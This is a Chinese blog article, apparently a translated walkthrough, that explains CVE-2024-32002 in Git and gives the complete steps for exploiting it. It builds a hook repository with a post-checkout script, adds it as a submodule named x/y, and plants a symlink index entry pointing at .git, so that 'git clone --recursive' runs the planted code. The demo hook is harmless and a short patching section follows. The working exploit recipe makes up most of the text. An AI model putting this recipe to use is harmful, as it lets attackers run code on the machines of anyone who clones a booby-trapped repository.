news 2026/4/16 21:51:25

深入剖析CVE-2024–32002:通过git clone实现远程代码执行

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
深入剖析CVE-2024–32002:通过git clone实现远程代码执行

Exploiting CVE-2024–32002: Git RCE via git clone

概述

首先,我们来了解一下这个漏洞。CVE-2024–32002 (CVSS 9.1) 是一个发生在 Git 中的严重级别(Critical)漏洞。攻击者通过git clone命令克隆一个恶意仓库,并且必须使用--recursive选项,即可实现远程代码执行(RCE)。这意味着攻击者可以从远程运行预先隐藏的命令。

受影响的版本:

  • v2.45.0
  • v2.44.0
  • <= v2.43.3
  • <= v2.42.1
  • v2.41.0
  • <= v2.40.1
  • <= v2.39.3

已修补的版本:

  • v2.45.1
  • v2.44.1
  • v2.43.4
  • v2.42.2
  • v2.41.1
  • v2.40.2
  • v2.39.4

该漏洞已于 2024 年 5 月 14 日星期二修补。

漏洞分析

根据官方公告:https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv

包含子模块的 Git 仓库可以创建一个路径,通过在.git/目录中写入文件(而不是写入子模块的工作区)来触发 Git 中的漏洞。这种方法允许写入钩子(hook)(一种在 Git 仓库中发生特定事件时自动运行的脚本)。在这种情况下,钩子将在运行git clone命令时执行,导致用户没有机会在代码运行前进行检查。

符号链接

符号链接(symlinks 或 symbolic links)是充当指向其他文件或目录指针的系统文件。在 Git 的上下文中,它可以从当前仓库引用其他部分。虽然这种方法很方便,但符号链接也可能被用于其他恶意目的,从而对系统产生负面影响。

演示环境设置

让我们从设置用于演示的机器上的 Git 配置开始,使用以下命令:

gitconfig--globalprotocol.file.allow alwaysgitconfig--globalcore.symlinkstrue

命令解释:

  • git config --global protocol.file.allow always:此命令用于设置 Git 始终允许使用file://协议进行操作。
  • git config --global core.symlinks true:此命令将设置 Git 能够创建和管理符号链接,而不是将其视为包含链接内容的普通文本文件。

在你的 GitHub 账户中创建两个空仓库用于测试,分别命名为git_rcehook

创建git_rce仓库:

创建hook仓库:

完成上述步骤后,从我们刚刚在 GitHub 上创建的仓库中git clone这两个仓库到你想要测试的机器上。

进入hook/目录,然后在其中创建y/目录和hooks/目录:

cdhook/mkdir-py/hooks

hook目录中创建一个名为post-checkout的文件,并添加你想要执行的命令。在本文中,我们使用打开计算器的命令(适用于 Windows & Mac),以及将单词 “pwned!!” 写入/tmp目录中pwned文件的命令。

添加完我们想要的命令后,我们使post-checkout文件可执行,使用命令:

gitupdate-index--chmod=+x y/hooks/post-checkout

命令解释:

  • git update-index:此命令将在提交到 Git 仓库之前,根据条件创建更改。
  • --chmod=+x:这是git update-index命令的一个选项,用于指示 Git 更改文件的权限,使其可执行。
  • y/hooks/post-checkout:需要更改权限的文件路径。

准备好所有文件后,使用以下命令推送到 hook 仓库:

gitadd.gitcommit-m"first commit"gitpush origin main

命令解释:

  • git add .:此命令将当前目录中的所有文件添加到 Git,以便在下一步提交。
  • git commit -m "first commit":此命令将从前一个命令的快照文件中,并为每个文件附加消息或注释,以便于跟踪每个文件的更改历史。
  • git push origin main:此命令将上传已提交的所有内容到我们链接的 Git 仓库,在本例中就是 hook 仓库。

回到之前我们git clone下来的git_rce目录。

利用过程

使用git submodule add命令将hook/仓库添加为此仓库的子模块:

gitsubmoduleadd--namex/y"git@github.com:Jockky-dev/hook.git"A/modules/x

命令解释:

  • git submodule add:用于添加子模块,该子模块将引用另一个仓库,以便在当前仓库中工作。
  • --name x/y:用于指定子模块在当前仓库中的引用名称,以便相互引用。其中x表示顶级目录或根目录(/),y表示子目录或将被调用的目录。
  • git@github.com:Jockky-dev/hook.git:我们想要添加的子模块的 URL。
  • A/modules/x:当前仓库中将用于克隆子模块的路径,其中A表示顶级目录(/),modules表示仓库内的子目录,x是子模块将被拉取到的路径。

添加子模块后,接下来是创建符号链接作为两个仓库之间的指针。

printf".git">dotgit.txtgithash-object-w--stdin<dotgit.txt>dot-git.hashprintf"120000 %s 0\ta\n""$(catdot-git.hash)">index.info

首先,创建一个名为dotgit.txt的文件,并将单词.git添加为内容。

命令解释git hash-object -w --stdin < dotgit.txt > dot-git.hash

  • git hash-object:用于计算指定文件的 SHA-1 哈希值的命令。
  • -w:指示 Git 在计算哈希值后将文件写入 Git 对象数据库的选项。
  • --stdin:指示 Git 从标准输入读取数据,而不是命令中指定的文件。
  • < dotgit.txt:指定通过从dotgit.txt文件中提取内容作为输入,然后输入到git hash-object命令中。
  • > dot-git.hash:指定将前一步的输出保存到dot-git.hash文件中。

命令解释printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info

  • printf:用于格式化并按需打印字符的命令。
  • "120000 %s 0\ta\n"
    • 120000:指定文件的权限模式,120000 表示指定为符号链接。
    • %s:从输入中获取(在本命令中是从dot-git.hash文件获取)并替换此位置的字符串。
    • 0:指定阶段号或提交前的版本,0 表示未包含其他分支、合并阶段提交的当前点。
    • \t:用于分隔或制表输出结果(使字符不连在一起)的转义序列。
    • a:符号链接将放置在仓库中的路径名称。
    • \n:用于在命令结束时换行。
  • $(cat dot-git.hash):读取dot-git.hash文件并将值替换到命令中%s位置的命令。
  • > index.info:将命令的最终结果保存到index.info文件中。

注意:在 Git 中,每个文件都被指定为一个 SHA-1 哈希值。对于符号链接,它是一个指向之前创建的符号链接路径的链接。

运行上述命令后,我们将得到类似于图中示例的输出。

使用index.info文件作为输入来更新 Git 索引:

gitupdate-index --index-info<index.info

命令解释git update-index --index-info < index.info

  • git update-index:将在提交到 Git 仓库之前根据条件创建更改的命令。
  • --index-info:指示 Git 从指定的输入中获取内容以用于命令的选项。
  • < index.info:指定将用作前一个选项输入的文件名。
  • git ls-files --stage:用于列出文件信息及其阶段,根据模式输出:<mode> <object hash> <stage>\t<path>

准备好所有文件后,使用以下命令推送到git_rce仓库:

gitcommit-m"symbolic link added"gitpush origin main

检查git_rcehook仓库中,我们上传的所有文件是否完成。

一切准备就绪后,我们就可以开始攻击了。

攻击演示

注意:别忘了在git clone命令中加入--recursive选项才能使漏洞利用生效。

gitclone--recursivegit@github.com:Jockky-dev/git_rce.git cve-2024-32002-exploited

修补(Patch)方法

  1. 将 Git 更新到最新版本:

    • 对于 Windows:git update-git-for-windows
    • 对于 Linux (Unix):
      sudoaptupdate-ysudoaptfull-upgrade-y
  2. 在 Git 中禁用符号链接使用,使用命令:

    gitconfig--globalcore.symlinksfalse
  3. 避免克隆来源未知的项目禁用 Git 中的符号链接使用(git config --global core.symlinks false),当然最好的方法是避免克隆来源未知的项目。

参考资料

  • https://nvd.nist.gov/vuln/detail/CVE-2024-32002
  • https://en.wikipedia.org/wiki/Symbolic_link
  • https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
  • https://git-scm.com/docs/git-clone#Documentation/git-clone.txt—recurse-submodulesltpathspecgt
  • https://git-scm.com/docs/git-config#Documentation/git-config.txt-coresymlinks
    CSD0tFqvECLokhw9aBeRqpG/NCS8B24x7B65YcX9iF1NeCL/Z53ORp+3P0Do0x1a8g7sfn9CmJcTbDE1x4LiM1WmIRQ6tP3HLOsYKttlyUd12HdNehSJOS1k7votv6hwMr7Acm8cnFc4S4U6o+wThOJcDmi58RHRL/l16BLw7Eo=
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 8:45:22

YOLOv8能否检测圆形物体?特殊形状适应性测试

YOLOv8能否检测圆形物体&#xff1f;特殊形状适应性测试 在智能制造车间的一条高速药片包装线上&#xff0c;摄像头不断捕捉传送带上的图像——成千上万的白色药丸如雨点般落下。质检系统需要实时判断每一粒是否完整、有无缺损。这些药片大多是标准圆形&#xff0c;但在动态场景…

作者头像 李华
网站建设 2026/4/16 8:44:41

YOLOv8部署到生产环境的五大注意事项

YOLOv8部署到生产环境的五大注意事项 在智能视觉系统日益普及的今天&#xff0c;目标检测模型从实验走向落地已成为AI工程化的核心命题。YOLO系列自诞生以来&#xff0c;凭借“单次推理、实时检测”的设计理念&#xff0c;始终站在工业应用的前沿。而2023年发布的YOLOv8&#x…

作者头像 李华
网站建设 2026/4/16 8:47:07

ciscn2024初赛 Reverse全题解 复盘

萌新第一篇博客&#xff0c;如有错误请多指正 这次本同校的队伍打爆了&#xff0c;争取明年能进决赛吧 Reverse asm_re 打开是一段ida里复制出来的汇编&#xff0c;但是把源文件的十六进制也复制出来了。 将十六进制写进新的文件&#xff0c;选择arm小端序&#xff0c;ida反…

作者头像 李华
网站建设 2026/4/16 9:20:20

YOLOv13涨点改进 | 全网独家二次创新、特征融合改进篇 | AAAI 2026 | 引入GMAFusion门控调制注意力融合模块,二次创新,通过自适应特征调制和融合,助力YOLOv13有效涨点

一、本文介绍 🔥本文给大家介绍使用GMAFusion门控调制注意力融合模块改进YOLOv13网络模型,能够显著提升其多尺度特征提取、特征融合和感受野扩展能力,增强对复杂场景和小物体检测的适应性。通过自适应特征调制和融合,这些模块帮助YOLOv13在实时检测中高效运行,提升精度与…

作者头像 李华
网站建设 2026/4/15 15:01:43

YOLOv11涨点改进 | NeurIPS2025最佳论文!注意力改进篇| 引入Gated Attention门控注意力模块、太牛了!直接拯救了大模型的发展,助力目标检测、图像分割、图像分类有效涨点

一、本文介绍 🔥千问团队引入了Sigmod门控机制,减少“注意力下沉现象”,直接提升大型语言模型的性能和训练稳定性。小伙伴写论文,做实验可以多参考别人优秀论文,分析问题,解决问题的思路。 🔥本文给大家介绍使用Gated Attention模块改进YOLOv11模型可以显著提升其性…

作者头像 李华
网站建设 2026/4/16 0:31:28

【性能监控新纪元】:基于.NET 8的C#跨平台监控工具架构深度剖析

第一章&#xff1a;性能监控新纪元的背景与意义 随着云计算、微服务架构和容器化技术的广泛应用&#xff0c;传统性能监控手段已难以应对现代分布式系统的复杂性。系统组件数量呈指数级增长&#xff0c;服务间调用链路错综复杂&#xff0c;使得故障定位、性能瓶颈识别变得愈发困…

作者头像 李华